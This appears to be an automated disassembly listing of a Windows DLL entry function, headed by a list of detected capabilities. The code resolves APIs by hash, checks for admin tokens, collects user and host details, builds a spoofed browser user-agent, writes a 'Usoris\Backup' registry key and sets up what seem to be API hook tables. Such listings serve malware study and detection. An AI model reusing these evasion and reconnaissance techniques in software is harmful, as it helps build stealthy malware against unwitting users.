Function at 0x10004d60
Capabilities:
Accept command line arguments
Check os version
Compare security identifiers
Get common file path
Get hostname
Get session user name
Get token membership
Hash data with crc32
Parse pe header
Reference http user-agent string
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x1e8
push ebx
push ebp
push esi
push edi
sub eax, 0
je 0x10005e5a
sub eax, 1
jne 0x10006022
mov ebx, dword [esp + 0x1fc]
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x105
push 8
mov dword [0x1000d3d8], eax
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push 0x105
push eax
mov dword [0x1000d414], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x100051d0
push dword [0x1000d414]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call esi
push 0x105
push 8
call ebp
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push eax
push ebx
mov dword [0x1000d450], eax
call edi
push 0x105
push 8
mov dword [0x1000d464], eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x1000d464]
mov dword [0x1000d45c], eax
push dword [0x1000d450]
push eax
call sub.NTDLL.dll_RtlMoveMemory
push 0
push 0
push dword [0x1000d45c]
call fcn.10006260
add esp, 0xc
mov dword [0x1000d460], eax
push dword [0x1000d450]
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push dword [0x1000d450]
call esi
push dword [0x1000d450]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0
push dword [0x1000d450]
call fcn.10006260
add esp, 0xc
mov dword [0x1000d454], eax
push dword [0x1000d450]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x105
push 8
mov dword [0x1000d458], eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x104
push eax
push 0
mov dword [0x1000d468], eax
call edi
push dword [0x1000d468]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [0x1000d470], eax
call esi
push 0
push 0
push dword [0x1000d468]
mov dword [0x1000d474], eax
call fcn.10006260
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
mov dword [0x1000d46c], eax
push dword [0x1000d45c]
call edi
push str.kernel32.dll
mov dword [0x1000d3dc], eax
call edi
push 0xff000000
mov dword [esp + 0xf0], eax
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], 0xc0c1bd8d
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
push 1
push ecx
push eax
call fcn.100078f0
mov eax, dword [esp + 0x4c]
add esp, 0x10
mov ecx, dword [0x1000d178]
test eax, eax
cmovne ecx, eax
push str.ntdll.dll
mov dword [0x1000d178], ecx
call edi
push 0xff000000
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], 0x8c210360
push ecx
push eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.100078f0
mov eax, dword [esp + 0x4c]
add esp, 0x10
mov ecx, dword [0x1000d17c]
test eax, eax
cmovne ecx, eax
push dword [0x1000d45c]
mov dword [0x1000d17c], ecx
call esi
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push eax
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov edx, eax
mov dword [0x1000d6a8], edx
test edx, edx
je 0x10005011
mov ecx, dword [ebx + 0x3c]
xor esi, esi
mov edi, dword [ecx + ebx + 0x78]
mov eax, dword [edi + ebx + 0x20]
add eax, ebx
cmp dword [edi + ebx + 0x18], esi
jbe 0x10005011
mov ebp, eax
mov eax, dword [ebp + esi*4]
add eax, ebx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi*4 + 0x1000d6ac], eax
inc esi
cmp esi, dword [edi + ebx + 0x18]
jae 0x1000500b
mov edx, dword [0x1000d6a8]
jmp 0x10004fe7
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push 0x11c
push 0x1000d4c8
call sub.NTDLL.dll_RtlZeroMemory
push 0x1000d4c8
mov dword [0x1000d4c8], 0x11c
call sub.NTDLL.dll_RtlGetVersion
lea eax, [esp + 0x24]
mov dword [esp + 0x14], 0
push eax
push 0xa
push 0xffffffffffffffff
mov dword [esp + 0x30], 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x10005114
cmp dword [0x1000d4cc], 5
mov dword [esp + 0x20], 0
mov dword [esp + 0x10], 0
jbe 0x100050c0
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push 0x12
push dword [esp + 0x34]
call edi
test eax, eax
je 0x100050b9
cmp dword [esp + 0x18], 3
jne 0x100050b9
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push 0x13
push dword [esp + 0x34]
call edi
cmp dword [esp + 0x20], 0
jne 0x100050d8
lea eax, [esp + 0x20]
push eax
push 1
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
cmp dword [esp + 0x20], 0
je 0x1000510e
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x44
push eax
lea eax, [esp + 0x58]
push eax
push 0
push 0x1a
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x10005108
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x28]
call esi
push dword [esp + 0x20]
call ebx
push dword [esp + 0x24]
call ebx
mov eax, dword [esp + 0x14]
mov dword [0x1000d480], eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x40]
mov dword [esp + 0x3c], 0
push eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x44], 0
mov word [esp + 0x48], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1000517c
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
push 0
call esi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 0x14]
mov dword [0x1000d47c], eax
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, dword [0x1000d3d8]
mov dword [0x1000d41c], eax
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x10006022
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x10006022
mov ecx, dword [eax + ecx + 0x58]
cmp ecx, 0x3b75f
jne 0x100051d8
push 0
push dword [0x1000d448]
call fcn.10006d30
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1000d6c0]
cmp ecx, 0x13df7ca
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, 1
push 0x20a
cmove eax, ecx
mov dword [esp + 0xe8], 0x104
push 8
mov dword [0x1000d6c0], eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov dword [0x1000d42c], eax
test eax, eax
je 0x10005239
lea ecx, [esp + 0xe4]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x10005239
mov eax, dword [0x1000d42c]
xor ecx, ecx
mov word [eax], cx
push 0x20a
push 8
mov dword [esp + 0xf0], 0x104
call ebx
push eax
call esi
mov dword [0x1000d438], eax
test eax, eax
je 0x1000527d
lea ecx, [esp + 0xe8]
push ecx
push eax
push 3
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
mov eax, dword [0x1000d438]
jne 0x1000527d
xor ecx, ecx
mov word [eax], cx
mov eax, dword [0x1000d438]
mov ecx, dword [0x1000d42c]
test ecx, ecx
je 0x1000529e
push 0
push 0
push ecx
call fcn.10008b30
mov dword [0x1000d428], eax
add esp, 0xc
mov eax, dword [0x1000d438]
test eax, eax
je 0x100052b4
push 0
push 0
push eax
call fcn.10008b30
add esp, 0xc
mov dword [0x1000d434], eax
cmp dword [0x1000d6c0], 0
je 0x10006022
push 0
push 0
push str.wuapihost.exe
call fcn.10006260
add esp, 0xc
mov dword [0x1000d4a4], eax
lea eax, [esp + 0x24]
mov dword [esp + 0x14], 0
mov dword [esp + 0x24], 0
push eax
push 8
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100053dc
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0
push 0
push 1
push dword [esp + 0x34]
call edi
test eax, eax
jne 0x100053d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100053d2
push dword [esp + 0x10]
push 8
call ebx
push eax
call esi
mov esi, eax
test esi, esi
je 0x100053d2
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push esi
push 1
push dword [esp + 0x34]
call edi
test eax, eax
je 0x100053c6
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x12
push 1
lea eax, [esp + 0x40]
mov word [esp + 0x44], 0x500
push eax
mov dword [esp + 0x4c], 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x100053bc
push dword [esp + 0x20]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x100053b0
mov dword [esp + 0x14], 1
jmp 0x100053bc
push 0x1000d424
push dword [esi]
call sub.ADVAPI32.dll_ConvertSidToStringSidA
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
mov dword [0x1000d3f8], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [esp + 0x50]
mov dword [esp + 0x50], 0
push ecx
push eax
call fcn.10003bf0
mov edi, eax
add esp, 8
test edi, edi
je 0x10005476
push dword [edi]
call dword [sym.imp.USER32.dll_CharLowerA]
mov ecx, dword [esp + 0x50]
cmp ecx, 1
jle 0x1000546f
mov esi, 1
mov ebp, esi
nop
lea eax, [ecx - 1]
cmp esi, eax
jge 0x1000544b
mov eax, dword [edi + esi*4]
cmp byte [eax], 0x77
jne 0x1000544b
cmp byte [eax + 1], 0
jne 0x1000544b
push dword [edi + esi*4 + 4]
inc esi
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov ecx, dword [esp + 0x50]
mov dword [0x1000d448], eax
jmp 0x10005464
mov edx, dword [edi + esi*4]
cmp byte [edx], 0x6b
jne 0x10005464
cmp byte [edx + 1], 0
mov eax, dword [0x1000d400]
cmove eax, ebp
mov dword [0x1000d400], eax
inc esi
cmp esi, ecx
jl 0x10005420
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x104
push 8
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov dword [0x1000d44c], eax
test eax, eax
je 0x100054a8
push dword [0x1000d4d0]
push dword [0x1000d4cc]
push str.Mozilla_5.0__Windows_NT__u._u__Firefox_78.0
push eax
call ebp
add esp, 0x10
mov eax, dword [0x1000d424]
xor esi, esi
mov dword [esp + 0x18], eax
mov eax, dword [0x1000d434]
push 0x800
mov dword [esp + 0x18], eax
mov eax, dword [0x1000d428]
push 8
mov dword [esp + 0x18], eax
call ebx
push eax
call edi
mov edi, eax
test edi, edi
je 0x10005511
push 2
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push str._s_s_s_c
push edi
call ebp
add esp, 0x18
push eax
push edi
push esi
call sub.NTDLL.dll_RtlComputeCrc32
xor edx, edx
mov ecx, 0xffffff7f
div ecx
push edi
mov esi, edx
push 0
bswap esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 3
mul esi
push 0
push 0x1000d0cc
mov eax, esi
sub eax, edx
push 0
shr eax, 1
push 0xf023f
add eax, edx
push 0
shr eax, 0x1e
push 0
imul eax, eax, 0x7fffffff
push 0
push str.SOFTWAREUsorisBackup
push 0x80000001
sub esi, eax
mov dword [0x1000d418], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100051d0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push 1
push eax
push dword [0x1000d450]
call fcn.10001240
push str.imagehlp.dll
push dword [0x1000d414]
lea eax, [esp + 0x104]
push 0x10009398
push eax
call ebp
add esp, 0x1c
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
push 0x631143df
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x30], 2
push ecx
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0x253fac28
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.100078f0
mov eax, dword [esp + 0x4c]
add esp, 0x10
test eax, eax
je 0x100055fd
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x30]
push ecx
push dword [0x1000d45c]
call eax
call fcn.10004c90
test eax, eax
jne 0x100051d0
mov esi, dword [esp + 0xec]
mov dword [0x1000d6bc], 1
test esi, esi
je 0x10005816
push 0x631143df
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
lea eax, [esp + 0x34]
push 1
push eax
push esi
mov dword [esp + 0x40], 0x4d4177d4
call fcn.100078f0
mov eax, dword [esp + 0x4c]
add esp, 0x10
mov ecx, dword [0x1000d0f4]
test eax, eax
cmovne ecx, eax
xor eax, eax
mov dword [0x1000d0f4], ecx
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x1000567c
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
call ecx
neg eax
sbb eax, eax
and eax, dword [esp + 0x14]
mov dword [0x1000d420], eax
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x54], 0xbcceb12b
push eax
push 9
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], 0x10004680
push eax
push esi
mov dword [esp + 0x6c], 0x1000d0e4
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0x5e2e2340
mov dword [esp + 0x78], 0x10004430
mov dword [esp + 0x7c], 0x1000d180
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0x9f7a012e
mov dword [esp + 0x88], 0x100067b0
mov dword [esp + 0x8c], 0x1000d150
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0xa2e2fba9
mov dword [esp + 0x98], 0x10006fd0
mov dword [esp + 0x9c], 0x1000d0ec
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xa7a5ea92
mov dword [esp + 0xa8], 0x100072a0
mov dword [esp + 0xac], 0x1000d170
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xc2feaaf6
mov dword [esp + 0xb8], 0x10007340
mov dword [esp + 0xbc], 0x1000d0f8
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0x3f942f98
mov dword [esp + 0xc8], 0x10006b40
mov dword [esp + 0xcc], 0x1000d3e8
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xaddfba77
mov dword [esp + 0xd8], 0x10007600
mov dword [esp + 0xdc], 0x1000d3d4
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xbaa3474b
mov dword [esp + 0xe8], 0x10006040
mov dword [esp + 0xec], 0x1000d120
mov dword [esp + 0xf0], 0
call fcn.10008a70
add esp, 0x10
push str.user32.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov ecx, eax
mov dword [0x1000d0e8], ecx
test ecx, ecx
je 0x100059ba
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x54], 0xa5126c5b
push eax
push 8
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], 0x10007b00
push eax
push ecx
mov dword [esp + 0x6c], 0x1000d064
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xb624fee8
mov dword [esp + 0x78], 0x10004d40
mov dword [esp + 0x7c], 0x1000d104
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0x288d34a4
mov dword [esp + 0x88], 0x10001660
mov dword [esp + 0x8c], 0x1000d06c
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0x343c1e51
mov dword [esp + 0x98], 0x10006790
mov dword [esp + 0x9c], 0x1000d174
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xc0e8ab00
mov dword [esp + 0xa8], 0x10006790
mov dword [esp + 0xac], 0x1000d028
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xc442ac10
mov dword [esp + 0xb8], 0x10001530
mov dword [esp + 0xbc], 0x1000d0d0
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xa2578f57
mov dword [esp + 0xc8], 0x10001530
mov dword [esp + 0xcc], 0x1000d100
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xf184d6f6
mov dword [esp + 0xd8], 0x10008770
mov dword [esp + 0xdc], 0x1000d024
mov dword [esp + 0xe0], 0
call fcn.10008a70
add esp, 0x10
push str.shell32.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov ecx, eax
mov dword [0x1000d48c], ecx
test ecx, ecx
je 0x10005a4f
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x30], 0xc7ee492e
push eax
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x3c], 0x10001660
push eax
push ecx
mov dword [esp + 0x48], 0x1000d124
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0x5c981f54
mov dword [esp + 0x54], 0x10008dd0
mov dword [esp + 0x58], 0x1000d144
mov dword [esp + 0x5c], 0
call fcn.10008a70
add esp, 0x10
push str.ws2_32.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov ecx, eax
mov dword [0x1000d184], ecx
test ecx, ecx
je 0x10005ae4
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x30], 0x25ddb08c
push eax
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x3c], 0x10001670
push eax
push ecx
mov dword [esp + 0x48], 0x1000d0f0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0x17debac0
mov dword [esp + 0x54], 0x10008a30
mov dword [esp + 0x58], 0x1000d3ec
mov dword [esp + 0x5c], 0
call fcn.10008a70
add esp, 0x10
push str.winmm.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov ecx, eax
mov dword [0x1000d02c], ecx
test ecx, ecx
je 0x10005b79
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x30], 0x9d27ac39
push eax
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x3c], 0x100025e0
push eax
push ecx
mov dword [esp + 0x48], 0x1000d188
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0x5789c82b
mov dword [esp + 0x54], 0x10001660
mov dword [esp + 0x58], 0x1000d3e0
mov dword [esp + 0x5c], 0
call fcn.10008a70
add esp, 0x10
push str.wtsapi32.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov dword [0x1000d14c], eax
test eax, eax
je 0x10005bec
mov ecx, dword [esp + 0x28]
sub ecx, dword [esp + 0x2c]
xor ecx, 0x631143df
mov dword [esp + 0x30], 0xf42fa5bc
push ecx
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x3c], 0x100074d0
push ecx
push eax
mov dword [esp + 0x48], 0x1000d08c
mov dword [esp + 0x4c], 0
call fcn.10008a70
add esp, 0x10
push str.advapi32.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov ecx, eax
mov dword [0x1000d068], ecx
test ecx, ecx
je 0x10005dbc
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x54], 0xc3109516
push eax
push 9
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], 0x10007070
push eax
push ecx
mov dword [esp + 0x6c], 0x1000d0fc
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0x56ff8c5d
mov dword [esp + 0x78], 0x10002490
mov dword [esp + 0x7c], 0x1000d484
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xd41bd247
mov dword [esp + 0x88], 0x10006a90
mov dword [esp + 0x8c], 0x1000d11c
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0x4e422a93
mov dword [esp + 0x98], 0x10008780
mov dword [esp + 0x9c], 0x1000d490
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0x7b817146
mov dword [esp + 0xa8], 0x10004570
mov dword [esp + 0xac], 0x1000d088
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0x842db31e
mov dword [esp + 0xb8], 0x100074f0
mov dword [esp + 0xbc], 0x1000d158
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xdd30a549
mov dword [esp + 0xc8], 0x10002510
mov dword [esp + 0xcc], 0x1000d3e4
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0x85b69c83
mov dword [esp + 0xd8], 0x10006f60
mov dword [esp + 0xdc], 0x1000d148
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xf1bdc0d7
mov dword [esp + 0xe8], 0x10003860
mov dword [esp + 0xec], 0x1000d020
mov dword [esp + 0xf0], 0
call fcn.10008a70
add esp, 0x10
push str.wintrust.dll
push dword [0x1000d414]
lea eax, [esp + 0xf8]
push 0x10009398
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000d178]
mov dword [0x1000d154], eax
test eax, eax
je 0x10005e2f
mov ecx, dword [esp + 0x28]
sub ecx, dword [esp + 0x2c]
xor ecx, 0x631143df
mov dword [esp + 0x30], 0xc7f3ad14
push ecx
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x3c], 0x10006ac0
push ecx
push eax
mov dword [esp + 0x48], 0x1000d118
mov dword [esp + 0x4c], 0
call fcn.10008a70
add esp, 0x10
push 0
call fcn.100063e0
test eax, eax
jne 0x100051d0
pop edi
pop esi
pop ebp
mov dword [0x1000d6bc], 2
mov eax, 1
pop ebx
add esp, 0x1e8
ret 0xc
mov eax, dword [0x1000d414]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x10005e77
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d450]
test eax, eax
je 0x10005e88
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d454]
test eax, eax
je 0x10005e99
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d45c]
test eax, eax
je 0x10005eaa
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d460]
test eax, eax
je 0x10005ebb
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d468]
test eax, eax
je 0x10005ecc
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d46c]
test eax, eax
je 0x10005edd
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d42c]
test eax, eax
je 0x10005eee
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d438]
test eax, eax
je 0x10005eff
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d428]
test eax, eax
je 0x10005f10
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d434]
test eax, eax
je 0x10005f21
push eax
push 0
call esi
push eax
call edi
cmp dword [0x1000d6c0], 0
je 0x10006022
mov eax, dword [0x1000d0e8]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x10005f40
push eax
call ebx
mov eax, dword [0x1000d48c]
test eax, eax
je 0x10005f4c
push eax
call ebx
mov eax, dword [0x1000d068]
test eax, eax
je 0x10005f58
push eax
call ebx
mov eax, dword [0x1000d154]
test eax, eax
je 0x10005f64
push eax
call ebx
mov eax, dword [0x1000d184]
test eax, eax
je 0x10005f70
push eax
call ebx
mov eax, dword [0x1000d02c]
test eax, eax
je 0x10005f7c
push eax
call ebx
mov eax, dword [0x1000d14c]
test eax, eax
je 0x10005f88
push eax
call ebx
mov eax, dword [0x1000d0cc]
test eax, eax
je 0x10005f98
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1000d4a4]
test eax, eax
je 0x10005fa9
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d44c]
test eax, eax
je 0x10005fba
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000d424]
test eax, eax
je 0x10005fca
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x1000d6bc]
cmp eax, 2
jne 0x10005fe0
push 0
call fcn.10006c10
mov eax, dword [0x1000d6bc]
test eax, eax
jle 0x10005fe9
call fcn.10007230
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x1000d684
mov eax, dword [esi]
test eax, eax
je 0x10005ffd
push eax
call edi
add esi, 4
cmp esi, 0x1000d690
jl 0x10005ff4
mov ecx, dword [0x1000d444]
test ecx, ecx
je 0x10006022
push 0
push ecx
call sub.NTDLL.dll_NtTerminateThread
push dword [0x1000d444]
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1e8
ret 0xc